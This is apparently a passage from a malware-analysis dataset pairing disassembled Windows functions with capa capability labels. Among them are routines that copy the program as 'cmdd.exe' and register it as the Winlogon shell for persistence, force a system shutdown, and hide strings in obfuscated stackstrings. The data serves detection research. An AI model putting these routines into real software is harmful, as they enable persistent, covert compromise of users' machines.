joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ccfc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000cd2c
xor eax, eax
jmp 0x14000cdef
mov rbp, rbx
cmp word [rax], si
je 0x14000cd51
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cd38
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000cd34
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000cc4c
movsxd r14, eax
test eax, eax
jne 0x14000cd8f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000cd25
mov rcx, r14
call fcn.1400094fc
mov rdi, rax
test rax, rax
jne 0x14000cda8
xor ecx, ecx
call fcn.140008888
jmp 0x14000cd84
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000cc4c
test eax, eax
jne 0x14000cdd9
mov rcx, rdi
call fcn.140008888
jmp 0x14000cde3
xor ecx, ecx
call fcn.140008888
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400120ec
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000bd50
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012176
cmp byte [rbp - 0x21], r15b
je 0x140012171
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400121ac
call fcn.140008adc
test eax, eax
jne 0x140012198
cmp byte [rbp - 0x21], r15b
je 0x140012190
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400121ac
cmp byte [rbp - 0x21], r15b
je 0x1400121a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000b32c
test eax, eax
jne 0x14001224c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000bd50
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400121eb
cmp byte [rbp - 0x21], r15b
je 0x140012220
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012220
call fcn.140008adc
test eax, eax
jne 0x14001220c
cmp byte [rbp - 0x21], r15b
je 0x140012205
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012220
cmp byte [rbp - 0x21], r15b
je 0x14001221d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000b32c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001224c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001224f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001225d
mov rcx, rdi
call fcn.140008888
cmp byte [rbp + 0x3f], r15b
je 0x14001226c
mov rcx, qword [rbp + 0x27]
call fcn.140008888
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140014810
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140014838
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140014838
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x58
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001088
lea r8, [rsp + 0x3c]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001082
xor eax, eax
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rsp + 0x44], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000109c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001340
add rsp, 0x58
ret
mov edx, 0x20000
mov ecx, 5
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001082
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001340
add rsp, 0x58
ret
Function at 0x140001180
Capabilities:
Copy file
Create thread
Get common file path
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x7b0
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x7a0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x104
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea r9, str.cmdd.exe
lea r8, [rsp + 0x180]
lea rdx, str._s_s
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfA]
xor r8d, r8d
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rax, [rsp + 0x30]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000129a
lea r8, [rsp + 0x70]
lea rdx, [0x14001abdc]
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x3a0]
mov rax, 0xffffffffffffffff
nop
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001250
lea ecx, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x3a0]
mov rcx, qword [rsp + 0x30]
lea rdx, str.Shell
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
call fcn.140005524
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x40]
call fcn.14000551c
xor ebx, ebx
cmp dword [rsp + 0x58], ebx
jne 0x1400012ea
mov qword [rsp + 0x28], rbx
lea r8, [0x1400010d0]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001000
mov qword [rsp + 0x28], rbx
lea r8, [0x140001100]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov rcx, qword [rsp + 0x7a0]
xor rcx, rsp
call fcn.140001340
add rsp, 0x7b0
pop rbx
ret

Function at 0x140001d3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d86
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d88
xor al, al
add rsp, 0x28
ret

Function at 0x140006534
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006324
Function at 0x14000b3dc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000b40c
xor eax, eax
jmp 0x14000b4cf
mov rbp, rbx
cmp word [rax], si
je 0x14000b431
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000b418
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000b414
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000b32c
movsxd r14, eax
test eax, eax
jne 0x14000b46f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000b405
mov rcx, r14
call fcn.14000c7b8
mov rdi, rax
test rax, rax
jne 0x14000b488
xor ecx, ecx
call fcn.140009a58
jmp 0x14000b464
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000b32c
test eax, eax
jne 0x14000b4b9
mov rcx, rdi
call fcn.140009a58
jmp 0x14000b4c3
xor ecx, ecx
call fcn.140009a58
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14000b4ec
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000b573
mov rsi, rbx
cmp word [rax], bp
je 0x14000b532
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000b51c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000b518
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000c7b8
mov rdi, rax
test rax, rax
je 0x14000b560
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003300
mov rbp, rdi
xor ecx, ecx
call fcn.140009a58
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000efac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007fa8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000f036
cmp byte [rbp - 0x21], r15b
je 0x14000f031
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000f06c
call fcn.140008e30
test eax, eax
jne 0x14000f058
cmp byte [rbp - 0x21], r15b
je 0x14000f050
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000f06c
cmp byte [rbp - 0x21], r15b
je 0x14000f069
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140009aa8
test eax, eax
jne 0x14000f10c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007fa8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000f0ab
cmp byte [rbp - 0x21], r15b
je 0x14000f0e0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000f0e0
call fcn.140008e30
test eax, eax
jne 0x14000f0cc
cmp byte [rbp - 0x21], r15b
je 0x14000f0c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000f0e0
cmp byte [rbp - 0x21], r15b
je 0x14000f0dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140009aa8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000f10c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000f10f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000f11d
mov rcx, rdi
call fcn.140009a58
cmp byte [rbp + 0x3f], r15b
je 0x14000f12c
mov rcx, qword [rbp + 0x27]
call fcn.140009a58
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140011fa0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140011fc8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140011fc8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140017460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
sub rsp, 0x290
mov dword [rsp + 0x38], 0
mov byte [0x1401e0fa0], 1
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x70]
xor ecx, ecx
call fcn.140088990
mov r8d, 4
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1400888a0
lea rax, [rsp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
call fcn.1400879e0
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.1401572fc
lea rcx, [rsp + 0x180]
call fcn.1400882e0
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x20], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x20], 0x64
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x20], 0x65
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x20], 0x65
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x20], WSASetLastError
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x20], 0x20
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x20], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x20], 0
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x20], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x20], 0x20
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x20], 0x63
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.140029120
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x180]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.14002b7a0
nop
mov rax, qword [rsp + 0x50]
sub rax, 0x18
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.14007f4f0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14008a4f0
nop
mov rax, qword [rsp + 0x30]
sub rax, 0x18
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.14007f4f0
add rsp, 0x290
pop rdi
ret
Function at 0x14007d2d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov eax, 1
imul rax, rax, 0x10
mov byte [rsp + rax + 0x28], WSACleanup
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x28], 0x62
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x28], 0x49
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x28], 0x5c
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x16
mov byte [rsp + rax + 0x28], 0
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x13
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0x12
mov byte [rsp + rax + 0x28], 0x75
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x28], 0x43
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x28], 0x61
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x28], 0x65
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x28], 0x47
mov eax, 1
imul rax, rax, 0x15
mov byte [rsp + rax + 0x28], 0x78
mov eax, 1
imul rax, rax, 0x11
mov byte [rsp + rax + 0x28], 0x4d
mov eax, 1
imul rax, rax, 0x14
mov byte [rsp + rax + 0x28], 0x65
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x28], 0x61
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.140029120
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x14007d450
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x28], 0x49
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x28], 0x61
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x13
mov byte [rsp + rax + 0x28], 0x75
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x17
mov byte [rsp + rax + 0x28], 0
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x28], 0x61
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x28], 0x5c
mov eax, 1
imul rax, rax, 0x10
mov byte [rsp + rax + 0x28], 0x65
mov eax, 1
imul rax, rax, 0x11
mov byte [rsp + rax + 0x28], WSACleanup
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x28], 0x62
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x28], 0x46
mov eax, 1
imul rax, rax, 0x12
mov byte [rsp + rax + 0x28], 0x4d
mov eax, 1
imul rax, rax, 0x14
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x15
mov byte [rsp + rax + 0x28], 0x65
mov eax, 1
imul rax, rax, 0x16
mov byte [rsp + rax + 0x28], 0x78
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x28], 0x47
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x28], 0x46
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.140029120
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x14007dbc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x28], 0x45
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x28], 0x49
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x28], 0x47
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x28], 0x62
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x28], 0x61
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x14
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x17
mov byte [rsp + rax + 0x28], 0
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x28], 0x5c
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x28], 0x49
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x28], WSASetLastError
mov eax, 1
imul rax, rax, 0x12
mov byte [rsp + rax + 0x28], 0x4d
mov eax, 1
imul rax, rax, 0x10
mov byte [rsp + rax + 0x28], 0x65
mov eax, 1
imul rax, rax, 0x16
mov byte [rsp + rax + 0x28], 0x78
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x28], 0x61
mov eax, 1
imul rax, rax, 0x15
mov byte [rsp + rax + 0x28], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x28], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0x13
mov byte [rsp + rax + 0x28], 0x75
mov eax, 1
imul rax, rax, 0x11
mov byte [rsp + rax + 0x28], WSACleanup
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.140029120
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x14007de70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x78]
test eax, eax
je 0x14007dfc5
call fcn.14007dd50
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140028f60
nop
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, WSAStartup
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x67
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, WSAStartup
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x61
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x6d
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x69
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, WSAGetLastError
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x66
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x2e
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x63
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov dl, 0x6d
lea rcx, [rsp + 0x28]
call fcn.14002bf60
mov rax, qword [rsp + 0x28]
sub rax, 0x18
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.14002c450
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
add rax, 0x18
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
sub rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.14007f4f0
mov rax, qword [rsp + 0x70]
jmp 0x14007e07e
mov eax, 1
imul rax, rax, 0
